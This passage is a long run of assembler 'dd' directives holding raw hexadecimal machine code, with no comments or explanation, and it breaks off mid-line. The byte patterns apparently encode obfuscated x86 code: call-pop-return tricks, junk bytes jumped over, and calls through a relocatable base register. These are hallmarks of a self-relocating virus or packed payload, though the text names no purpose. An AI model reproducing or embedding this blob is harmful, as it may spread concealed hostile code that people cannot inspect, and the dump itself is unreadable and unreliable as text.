0FFF883F5h, 188850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0C459F0C3h, 1F07F551h, 69D958Bh, 858D060Bh dd 60DBB83h, 0B966D0FFh, 6AFAC3h, 0AE957h, 0BAF10000h dd 0A420E6C1h, 76CC2D5Bh, 1006A5Fh, 0B04CD85h, 60606006h dd 8D8D8961h, 61060B09h, 82DDCCB8h, 6A612Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0F8BF0FD5h dd 55B6006Ah, 6A6BC980h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0F299FF4Fh, 0F0D2D984h dd 6AE723h, 98F3F181h, 858D734Dh, 60E0092h, 6958D0Bh, 8950060Bh dd 0B0F098Dh, 6595FF06h, 0E8060B02h, 13h, 0D6686C9Dh, 98B75CB0h dd 0F5872D2Ch, 5529ADDh, 0FA8921Eh, 28Fh, 59616000h, 0FFFF883h dd 8D85h, 0B5B58900h, 8D060B1Fh, 0DFA9AB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8DCC95C3h, 0DA5F985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FFCB8713h, 8138B2D0h dd 31CB99C9h, 66006A0Ah, 0D809EA81h, 3699589h, 95FF060Bh dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0F4C35646h, 0AD7E6DAAh, 8589FA8Bh, 60E008Eh, 2AE18D8Bh dd 6A060Bh, 59D78B53h, 86858Dh, 0C8B5060Eh, 0D7816650h dd 46ACEECh, 28E5BD23h, 8D8B060Bh, 60B1E85h, 1F75858Dh dd 0BD8B060Bh, 60B1A59h, 0D68B6650h, 0F83CCF81h, 6A46ADh dd 8D8B006Ah, 60B0259h, 168D0Fh, 11E90000h, 14000000h dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 6E9016Ah dd 8000000h, 0E87602Eh, 8EB5FF3Ah, 0E9060E00h, 12h, 0D303E876h dd 0CA5410ECh, 37631970h, 0B3E9E178h, 95FFA526h, 60B0599h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B1C35141h dd 2FFE81BAh, 46E9E94Eh, 0E800001Bh, 6, 0EE814A2Dh, 840F48E5h dd 6, 0BDDBD33h, 8B59060Bh, 0BD83F9C0h, 60B05BDh, 83097500h dd 0B29D1BDh, 19740006h, 0C08B5350h, 7D2B8h, 35858900h dd 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h dd 53501774h, 7D2B8h, 35858900h, 8D060B2Ah, 0DB0099Dh dd 5BD3FF06h, 0EE958h, 1E370000h, 0FF8A4AACh, 5D08C6AAh dd 0FE6B1D7Eh, 6ACB8B66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 6C1BC357h, 0E8C08B2Eh dd 7, 77203B9h, 8BFDA4C2h, 0B0C418Dh, 85C75906h, 60B0B19h dd 1, 11E9h, 0F382600h, 0BF4565D4h, 0B193EE47h, 2F74AEC7h dd 0B8687164h, 0FFCEE4E7h, 0B194DB5h, 0D858D06h, 0FF060B39h dd 658589D0h, 68060B18h, 0C005DBD4h, 194DB5FFh, 858D060Bh dd 60B390Dh, 8589D0FFh, 60B2A61h, 0F537858Dh, 0FF50060Dh dd 0B0B01B5h, 0D195FF06h, 0B060B13h, 8B0B74C0h, 0EA858DD8h dd 50060E04h, 858DD3FFh, 60E04EAh, 9388366h, 85C70A75h dd 60B0DB1h, 1, 165D95FFh, 0FF25060Bh, 83000000h, 0A7305F8h dd 285985C7h, 1060Bh, 0CE90000h, 0C5000000h, 82FF728Bh dd 0CED6CE05h, 0E977AC21h, 0Eh, 0D1492DC6h, 4834CF2h, 9DD0919Eh dd 0BD8052AEh, 60E00F9h, 11850F00h, 8B000000h, 0B0331BDh dd 19B7E906h, 958B0000h, 60B08B1h, 0DB1BD83h, 0F00060Bh dd 0B685h, 0AB25700h, 0C3858D59h, 6A060E00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 356DC357h, 2CA65AF1h, 0DADB589h, 8B50060Bh, 0B18118Dh dd 66016A06h, 6AFE8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C7C35242h, 0FE9D60A4h, 53B0B313h, 9D8D89FAh dd 0F060B0Fh, 6AD1B7h, 0D7805060h, 8B605E03h, 236161C7h dd 0B0BC5BDh, 0A595FF06h, 8B060B27h, 0ED8589CFh, 0F060E00h dd 28Dh, 6A10B500h, 5EDF81FFh, 0FF04E609h, 0E00EDB5h, 69BD8B06h dd 0FF060B1Fh, 0B241195h, 5958B06h, 8D060B15h, 0DF4FE85h dd 81958B06h, 0F060B21h, 686h, 0A99D8900h, 50060B1Fh, 21258D8Bh dd 8529060Bh, 60B2F39h, 287595FFh, 0BD8B060Bh, 60B12A5h dd 0F5888589h, 0BE9060Dh, 14000000h, 0FE0E2389h, 0F3016B9Eh dd 858D59B7h, 60DF50Bh, 0BE9h, 0D7D57500h, 5E5E00CCh, 50218AACh dd 0CE850h, 0B1A20000h, 1D20F540h, 0AC89A76Dh, 950B621Fh dd 60B2B59h, 88B5FF5Fh, 6A060DF5h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7C36C356h dd 0C3D98166h, 8D2952FCh, 60B0415h, 0D195FF59h, 6A060B13h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 3D7DC353h, 958BEE14h, 60B059Dh, 89FE8B66h dd 0B1B8D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E800B598h, 8, 767FDD78h, 1FBA2F6Ah dd 15D68056h, 5E95A5Fh, 28000000h, 32749303h, 0F579858Dh dd 0BD89060Dh, 60B0979h, 8B50CE8Bh, 0B33518Dh, 88B5FF06h dd 0FC060DF5h, 2C9BD8Bh, 95FF060Bh, 60B13D1h, 16BDBD89h dd 6E9060Bh, 9000000h, 0C44795E4h, 9C858937h, 6A060DF5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0C018C353h, 10E8E064h, 29000000h, 0BB5F5383h dd 146D78B3h, 0C215D8DEh, 0B531321Ah, 858D5973h, 60DF558h dd 72E5CA81h, 8B500E0Ah, 0B20698Dh, 318D8B06h, 0FF060B2Fh dd 0DF588B5h, 0CBBF0F06h, 3C99D89h, 95FF060Bh, 60B13D1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4EC35747h dd 38E119h, 8B18EE0Ah, 0B01658Dh, 94858906h, 50060DF5h dd 0F8BF0F60h, 27359D8Bh, 5F61060Bh, 0F54B858Dh, 6A060Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 50A818C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0D8C35646h, 0A0E1F16Ah, 66DFC69Bh, 0FF0889B9h dd 0DF588B5h, 0EE806h, 0F8420000h, 2FAC39B4h, 0B2FFE26Ch dd 208FAD52h, 1375BD2Bh, 895A060Bh, 0B014995h, 0D195FF06h dd 8B060B13h, 0B063D95h, 0B5295106h, 60B00F1h, 9885895Fh dd 8A060DF5h, 66858DD3h, 81060DF5h, 7DEF0DE9h, 0E2815020h dd 4775E9EBh, 0F588B5FFh, 6A060Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 7D3814C3h, 0E8E0DA5Ah dd 12h, 0EE035520h, 4BCD8277h, 0AC87392h, 4B762E26h, 0EF8A06EDh dd 95FFFC59h, 60B13D1h, 0F18589F5h, 0E9060B02h, 8, 6C0DCF21h dd 686B57B8h, 0F51A858Dh, 0B70F060Dh, 0B70F50D0h, 88B5FFD7h dd 0B9060DF5h, 352385E0h, 13D195FFh, 0B966060Bh, 85892CE7h dd 60DF58Ch, 15298D0Bh, 0CE8060Bh, 0BF000000h, 91CD4019h dd 28B5B065h, 891AC02Eh, 0B0439BDh, 858D5F06h, 60DF529h dd 68B0Fh, 8D8B0000h, 60B22F1h, 0BD2B5750h, 60B31B5h, 88B5FF5Fh dd 0E9060DF5h, 10h, 0F3066DA2h, 0A1C3F032h, 8F255D9h, 0E57777C9h dd 13D195FFh, 0E680060Bh, 908589BEh, 0B2060DF5h, 0FE9C9h dd 54910000h, 6AF6D185h, 2DE06BAFh, 0B75D83F3h, 1046893h dd 870F0000h, 6, 45B589h, 858D060Bh, 60DF620h, 4099589h dd 6050060Bh, 0CDD9589h, 11E8060Bh, 0A7000000h, 0B41DF14Eh dd 0CBD04FCCh, 28D6D084h, 347129B9h, 20B5B523h, 615B060Bh dd 0F724858Dh, 0BD89060Dh, 60B1FB5h, 53006A50h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0DE2AB413h dd 3EEAB696h, 6860Fh, 8D0B0000h, 60B04A9h, 26C19589h, 95FF060Bh dd 60B0519h, 0E1816652h, 855FBEF4h, 2850FC0h, 8B000000h dd 0F9BD80FAh, 60E00h, 11850Fh, 8D8B0000h, 60B2969h, 14A8E9h dd 29B58900h, 83060B31h, 0B0DB1BDh, 850F0006h, 21h, 8B31FEB9h dd 0C9BF0F23h, 5A3BD83h, 0F00060Eh, 2584h, 68D0F00h, 89000000h dd 0B0B6585h, 0BD858D06h, 0F060DF5h, 66E9D3B7h, 0E9000014h dd 12h, 0E719589h, 858D060Bh, 60DF5A8h, 122D958Bh, 6A50060Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8BC4C356h, 0B0EF18Dh, 20858D06h, 81060DF6h dd 0BB6DC5EFh, 0B9665007h, 0BD83CE07h, 60B0DB1h, 71840F00h dd 0E9000000h, 8, 52A5D089h, 0DBB575F6h, 0F746858Dh, 6A060Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 14697AC3h, 0EA22BF7Ah, 5ED8D8Bh, 8A0F060Bh, 11h, 0B8D0Fh dd 6E90000h, 0E0000000h, 4DAC5723h, 26E994h, 29600000h dd 0B0341B5h, 6860F06h, 89000000h, 0B067985h, 0B5896106h dd 60B0F61h, 0F72F858Dh, 8D89060Dh, 60B00D9h, 7E858D50h dd 66060DF7h, 8950FE8Bh, 0B21A985h, 0D95FF06h, 0F060B00h dd 0C280D7BFh, 10C48377h, 0FAACBF66h, 6AC08Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0A2180FC3h, 0BD837A8Ch, 60B05BDh, 83097500h, 0B29D1BDh dd 19740006h, 0C08B5350h, 7D3B8h, 35858900h, 8D060B2Ah dd 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h dd 7D3B8h, 35858900h, 8D060B2Ah, 0DB0099Dh, 5BD3FF06h dd 0B5295358h, 60B1A2Dh, 6870F5Ah, 81000000h, 33959DDAh dd 66C08B24h, 0BD81D78Bh, 60DF5A8h, 6165726Fh, 8F840Fh dd 0BA660000h, 9D8955AFh, 60B3349h, 0F620858Dh, 8D50060Dh dd 0DF75D85h, 858D5006h, 60DF77Eh, 0D95FF50h, 83060B00h dd 85C60CC4h, 60B2845h, 184F6844h, 0B5FF96A3h, 60B0B01h dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60DF77Eh, 8DD3FF50h dd 0DF5A885h, 858D5006h, 60DF620h, 0B1BD8350h, 60B0Dh dd 858D0874h, 60DF746h, 858D06EBh, 60DF72Fh, 7E858D50h dd 50060DF7h, 0D95FFh, 0C483060Bh, 198D2310h, 8B060B07h dd 0B17D9BDh, 5D95FF06h, 6A060B16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EE00C351h dd 25840B76h, 0FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 10C35343h, 0EDA99ABAh, 0C280986Ch, 0BDEE80F5h dd 0F05F883h, 2483h, 5985C700h, 1060B28h, 0F000000h, 58Ch dd 7B91BA00h, 858D737Eh, 60DF5DCh, 43E92DB2h, 0B6000000h dd 0B1BD836Bh, 60B0Dh, 2E840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 858D6BC3h dd 60DF607h, 0DCF8166h, 8E938h, 0FB8B0000h, 0F5E9858Dh dd 8589060Dh, 60DF61Ch, 0E9F98B66h, 11h, 9B5548FDh, 93BEE265h dd 0FE129581h, 327CF8BAh, 0B1BD83F3h, 60B0Dh, 21850Fh dd 0DF810000h, 28B6F77Eh, 9EAB18B9h, 0A3BD8318h, 60E05h dd 2F840Fh, 0B70F0000h, 0AD8D23CAh, 0E9060B0Ch, 1135h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4FC35242h dd 0BCF0854Dh, 447E952h, 0BD8B0000h, 60B1599h, 0B589C08Bh dd 60B053Dh, 5BDBD83h dd 7500060Bh, 0D1BD8309h, 60B29h, 53501974h, 0D4B8C08Bh dd 89000007h, 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h dd 0B29D1BDh, 17740006h, 0D4B85350h, 89000007h, 0B2A3585h dd 99D8D06h, 0FF060DB0h, 8B585BD3h, 0B0DA195h, 0DDB50906h dd 8B060B03h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8952AC8Ah, 0B0D45B5h, 3F685A06h dd 6A000F00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 3841C353h, 5481F0E0h, 0A3203B75h dd 67E98166h, 8DBD8927h, 6A060B21h, 0E18D8B00h, 66060B01h dd 0F6F3D181h, 8D8B006Ah, 60B0AD1h, 1B8D95FFh, 8D8B060Bh dd 60B0F19h, 850FC085h, 9, 1EA18D8Bh, 8B66060Bh, 0A08589CEh dd 6A060DF5h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 3280C357h, 95F014CFh, 0CA8BDEFBh dd 6AEBB2h, 33758D8Bh, 6A060Bh, 8D8B006Ah, 60B26F5h, 0AE9006Ah dd 30000000h, 12647A53h, 2A61FD17h, 8D006A79h, 0DF77E85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0A0658103h, 0F5350FFh, 38Fh, 0CF8B6600h dd 8B016A59h, 0B2016AF9h, 29016A15h, 0B299D9Dh, 1FF6806h dd 0B966000Fh, 0BD83D9D4h, 60B0DB1h, 2A840F00h, 60000000h dd 19359D8Bh, 0CD80060Bh, 858D61BBh, 60DF5FDh, 29FD8D8Bh dd 3EE9060Bh, 0E9000000h, 9, 0B19D05EBh, 674F3929h, 0D3858DF3h dd 60060DF5h, 61953151h, 5F060B11h, 14E8h, 7240B800h, 0C9753296h dd 5F1B3DDAh, 0FE9B5F3h, 0A1959FFh, 0F9852B5Dh, 58060B31h dd 6A505061h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 17FC353h, 7CA423BFh, 0E9C2B63Eh dd 10h, 6B7DBB91h, 302A4E9Eh, 2BB7659Eh, 72508963h, 0F5A0B5FFh dd 0CF8B060Dh, 8C95FFFCh, 0F060DF5h, 681h, 59958B00h, 3060B31h dd 0B12B995h, 0FC08506h, 2F85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 893A3C59h dd 0B00E99Dh, 43E906h, 9D890000h, 60B1359h, 0F5A48589h dd 8166060Dh, 0FFF0CEE2h, 0DF5A4B5h, 6E906h, 0CF580000h dd 0AA55413Ah, 2F195FFh, 8B50060Bh, 0B1FAD95h, 0C0855906h dd 0B850Fh, 6E90000h, 0C9000000h, 5FDF793Eh, 2B106AD7h dd 0B20BD95h, 5B58906h, 83060B29h, 0B0DB1BDh, 840F0006h dd 1Ch, 87DB589h, 858D060Bh, 60DF5FDh, 0D8C641B9h, 12E942h dd 0DF810000h, 7A702B7Eh, 0F5D3858Dh, 8531060Dh, 60B0C0Dh dd 798D8B50h, 0F060B05h, 689h, 0D9858900h, 0FF060B17h dd 0DF5A0B5h, 28F0F06h, 8B000000h, 9895FFCFh, 8B060DF5h dd 0FC085FAh, 1285h, 0C820F00h, 0F000000h, 689h, 800F00h dd 89000000h, 0DF5A485h, 49BD8B06h, 6A060B33h, 9D858900h dd 6A060B08h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0DD810B19h, 0F8E51ECEh, 10E96091h dd 0C5000000h, 9D8E2C7h, 4F53F3FDh, 86B5EE51h, 0BE686FB9h dd 29FC9AE5h, 0A4B5FF61h, 8B060DF5h, 0B0339BDh, 9095FF06h dd 2B060DF5h, 0B2F498Dh, 0FC08506h, 2085h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 1CC6C6A0h, 0A4B5FFE5h, 80060DF5h, 95FFEEDEh, 60B02F1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BCC35040h dd 0F76AAEE5h, 89D6BEAFh, 0B2021BDh, 0FC08506h, 2485h dd 10E86000h, 8B000000h, 2244DEE8h, 4FBA7F71h, 0F388535Eh dd 8B98D58Ch, 0B2F35BDh, 0BD895806h, 60B2A69h, 6A006A61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 8C1DC355h, 0BD29C8DFh, 60B0995h, 8068h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0EE9F1h, 0F4800000h, 6FBFDD38h, 0E4E801DEh, 0F850EF7Ah dd 0B589036Ah, 60B06E9h, 0BD89006Ah, 60B1A59h, 0E280006Ah dd 5860F28h, 66000000h, 316BD781h, 68h, 0FFD38AC0h, 0DF61CB5h dd 0C9816606h, 95FF8FA0h, 60B0265h, 0B7D98166h, 0DE8DCh dd 0B6C50000h, 4793E45Fh, 0B6C70962h, 8B248029h, 0F8835ACBh dd 66850FFFh, 0BA000005h, 779A95A1h, 18D99529h, 85FF060Bh dd 60E008Ah, 246D9501h, 9D89060Bh, 60B3281h, 8ABD83h, 0F02060Eh dd 40A84h, 0DD00B900h, 858D6C33h, 5AF59Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h, 61393360h dd 0FD0FF8Eh, 987h, 38A0F00h, 80000000h, 858D4CD2h, 5AEFF2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 81C35646h dd 8B80041Dh, 0B07F9BDh, 0E9D0FF06h, 10h, 73EABD59h, 0CC9D0E80h dd 6F6C4AC6h, 0C5525A85h, 7E8h, 0BEE0C600h, 743F1A81h dd 5AD4E180h, 9D29C08Bh, 60B2A69h, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501974h, 0D8B8C08Bh, 89000007h dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh dd 17740006h, 0D8B85350h, 89000007h, 0B2A3585h, 99D8D06h dd 0FF060DB0h, 0E9585BD3h, 0Dh, 70B744E9h, 745CFFECh, 0F145EF55h dd 0CEF781CAh, 803B8C9Ch, 0C08BA6C5h, 4398501h, 3F68060Bh dd 8B000F00h, 0B185995h, 8B006A06h, 9E9FAh, 342F0000h dd 785ED287h, 6AE1286Eh, 6800F00h, 89000000h, 0B27FD85h dd 8D95FF06h, 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0F233C355h, 6EC67886h dd 8589C085h, 60B0069h, 0F5A08589h, 6A060Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 83B611C3h dd 81665676h, 6839B5DAh, 0F01FFh, 23F58D8Bh, 0BD83060Bh dd 60B0DB1h, 36840F00h, 8B000000h, 0B291995h, 0FD858D06h dd 0B060DF5h, 0B158DBDh, 4CE906h, 8B660000h, 0EE850FAh dd 0A000000h, 557036FDh, 0E758C953h, 84D7893h, 3DBD89EAh dd 5F060B1Bh, 0D3858D59h, 6A060DF5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4A3FC353h dd 0BEE8F3Bh, 84C8BA1Ch, 665052FEh, 3F67EA81h, 0F5A0B5FFh dd 0C181060Dh, 219881FDh, 0F59895FFh, 9E8060Dh, 49000000h dd 11C6054Ah, 0C730697Eh, 6880Fh, 0DF810000h, 435CBECCh dd 0A485895Ah, 23060DF5h, 0B0CF18Dh, 0CA8B6606h, 0C7D85C7h dd 60Bh, 0F1800000h, 0A4BD83A5h, 60DF5h, 18F840Fh, 8E80000h dd 0AE000000h, 745B2D98h, 0BAB14B5Ah, 6F87E7EFh, 82858D5Ah dd 89060DF8h, 0B292D9Dh, 81665006h, 6AEDD7CFh, 0CA816601h dd 0B5FF5455h, 60DF5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0DBC35242h, 75DD9E18h, 95FFF94Ah, 60DF59Ch dd 1BC1B501h, 0B5FF060Bh, 60DF5A4h, 0DAD9529h, 95FF060Bh dd 60B02F1h, 2E758D8Bh, 0FF68060Bh, 1000F01h, 0B319195h dd 3D958B06h, 83060B18h dd 0B0DB1BDh, 840F0006h, 34h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 1AC35040h, 0FA34BF66h, 0EDD8509h dd 858D060Bh, 60DF5FDh, 0DE9F8h, 0D38B0000h, 0F5D3858Dh dd 43BF060Dh, 506E563Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 1C35141h, 0E94ED345h, 6, 0ADDC9C0Eh dd 0B5FF17E9h, 60DF5A0h, 0DA98D8Bh, 7BA060Bh, 0FF34CAC3h dd 0DF59895h, 0FFBF0F06h, 0F5A48589h, 8589060Dh, 60B2905h dd 0F5A4B5FFh, 8D89060Dh, 60B16BDh, 29919589h, 95FF060Bh dd 60DF594h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 51C35646h, 0AE99EC9h, 34000000h, 0A50AF185h, 1C7EFA84h dd 0FD8D8B3Dh, 0FF060B0Fh, 0DF5A4B5h, 0C5E28106h, 336F2403h dd 0B0D258Dh, 0F195FF06h, 89060B02h, 0B00119Dh, 0F6EAE906h dd 10E9FFFFh, 0F7000000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h dd 0FFDF3F6Bh, 0E00EDB5h, 0BBC78106h, 0FF290958h, 0B0AC595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 66A39068h, 858BC88Bh, 60B2B2Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 27C35141h, 895DF0CCh dd 0B023985h, 11E906h, 0BDDC0000h, 0D8BFB08Fh, 0EC7A0B3Ch dd 0DEC0D249h, 0E9120AACh, 5ACh, 11E8h, 29F05800h, 6CC3CD0Ah dd 5E437616h, 23BF017Fh, 95897CA4h, 60B19C5h, 0A2B58D5Ah dd 60060DF8h, 1B719D89h, 0EE8A060Bh, 0F9858D61h, 89060DA5h dd 0B0B319Dh, 0FCD0FF06h, 0B529006Ah, 60B13F9h, 2F4D95FFh dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 8501C5C3h, 1BBA663Ch, 0E1816603h, 0F38BFAB6h dd 1AD59D09h, 858D060Bh, 60DA5F9h, 0B2D8D8Bh, 0D0FF060Bh dd 0C958509h, 6A060Bh, 6830F60h, 8B000000h, 0B217585h dd 0A1BD8906h, 61060B0Bh, 0B9A9CF81h, 95FF12D5h, 60B2F4Dh dd 38E0Fh, 8B660000h, 89C08BCBh, 0B319195h, 0BDBD8306h dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h dd 7D9h, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h dd 7400060Bh, 0B8535017h, 7D9h, 2A358589h, 9D8D060Bh, 60DB009h dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 44C35747h, 17DA98Ah, 0B70F7E0Dh, 0FFB70FCAh, 0D181C08Bh dd 78BBE6FDh, 12800F50h, 0E9000000h, 0Dh, 7D43AB19h, 0AD9490A3h dd 0AA234591h, 6AD88B82h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0A42FC352h, 0A4DC05C8h dd 80872927h, 8B66B1F5h, 9D8D53D0h, 60B043Dh, 389038Bh dd 8950438Bh, 9D8D5043h, 60E0086h, 389038Bh, 0CE95Bh, 0CD250000h dd 0D6428724h, 296467AAh, 9D890BB6h, 60B0515h, 0BD8B006Ah dd 60B211Dh, 86858Dh, 8166060Eh, 508AD8F2h, 22899523h dd 606A060Bh, 43D858Dh, 0DCBF060Bh, 505DDA84h, 8589006Ah dd 60B05C1h, 0BD8B006Ah, 60B0139h, 180068h, 0CD958B00h dd 53060B2Eh, 0C981D38Ah, 36E5E147h, 59995FFh, 880F060Bh dd 1, 8D95FFFCh, 0F060B0Bh, 884h, 8F0F5200h, 0 dd 0F680605Fh, 61D98B66h, 0EDB5FFh, 0B966060Eh, 0F504627h dd 389h, 0CFBF0F00h, 0C595FF5Ah, 6A060B0Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1729C353h dd 87DD507Ah, 8F293FA5h, 43D858Dh, 8166060Bh, 8B4F78C9h dd 6A1840h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 25D44C3h, 5169B1DDh, 0E8AA53E0h, 5, 4452B355h dd 0CE9A6h, 8F200000h, 26DD29FDh, 36B1E03Fh, 665F1D5Ch dd 85C7CB8Bh, 60B0711h, 0 dd 3759533h, 0BD83060Bh, 60B0DB1h, 3D840F00h, 66000000h dd 0A83AEF81h, 8C3Dh, 23830F00h, 89000002h, 0B1B3195h dd 5DE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD8B5EC3h, 60B20F1h, 963Dh, 0EB830F00h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 4918C352h, 1CAEBF96h, 830F564Dh dd 6, 0EF1BD89h, 8D5F060Bh, 5AF59F85h, 89CE8B00h, 0B08658Dh dd 6AD0FF06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0CD3CC353h, 0B18E8E55h, 11E874h dd 0BB610000h, 4B8A1EADh, 0EE8AD301h, 0CD346D98h, 0FB7243Dh dd 683h, 0ECDF8100h, 5F270716h, 0EFF2858Dh, 6A005Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 2E00FCC3h, 66D0A128h, 3FA0C781h, 958BD0FFh, 60B1161h dd 8BBAC08Bh, 836628FFh, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535019h, 0BC6B8C0h, 85890000h, 60B2A35h dd 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h dd 0BC6B853h, 85890000h, 60B2A35h, 0B0099D8Dh, 0D3FF060Dh dd 0E580585Bh, 0E9858946h, 8B060B0Ah, 0FFF883C0h, 87850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 103F16C3h, 7DBD8B81h, 0C7060B24h, 0B316D85h dd 6, 0FFB96600h, 111E9B2h, 66E90000h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 3908C350h, 9DB3CE98h, 10E8605Fh, 42000000h, 0D464E492h dd 93F3BD38h, 32C79564h, 664DEBDCh, 59A483B8h, 1B59BD09h dd 8B61060Bh, 0B0F59BDh, 1F88306h, 13850Fh, 0D2800000h dd 0D6E9BDh, 87B90000h, 9699940h, 0B112995h, 0F176E906h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 45F829C3h, 32EDBD8Bh, 0C08B060Bh, 28EDB589h dd 0BD83060Bh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h dd 0C08B5350h, 7DDB8h, 35858900h, 8D060B2Ah, 0DB31A9Dh dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 7DDB8h, 35858900h dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 0FE958h, 7E630000h dd 6503BACBh, 40884A9Ah, 0E7641522h, 998D8B3Fh, 8B060B18h dd 0CE8B66C0h, 1E4E9h, 0E5BD3100h, 8D060B1Ah, 0DFE8A85h dd 604EBF06h, 85896959h, 60E0082h, 23298D8Bh, 9589060Bh dd 60B05B9h, 1EE9h, 0C8BF0F00h, 0FC92858Dh, 0B70F060Dh dd 0BD8B40C9h, 60B0E5Dh, 828589h, 8166060Eh, 6A1C56C7h dd 0C5858D34h, 50060B16h, 82B5FFh, 6A060Eh, 0BD995FFh dd 0F883060Bh, 62840F07h, 66000001h, 0C3F6DB8Ch, 0FC850F04h dd 0C6000000h, 0B284585h, 52685606h, 0FF9CA8B8h, 0B0B01B5h dd 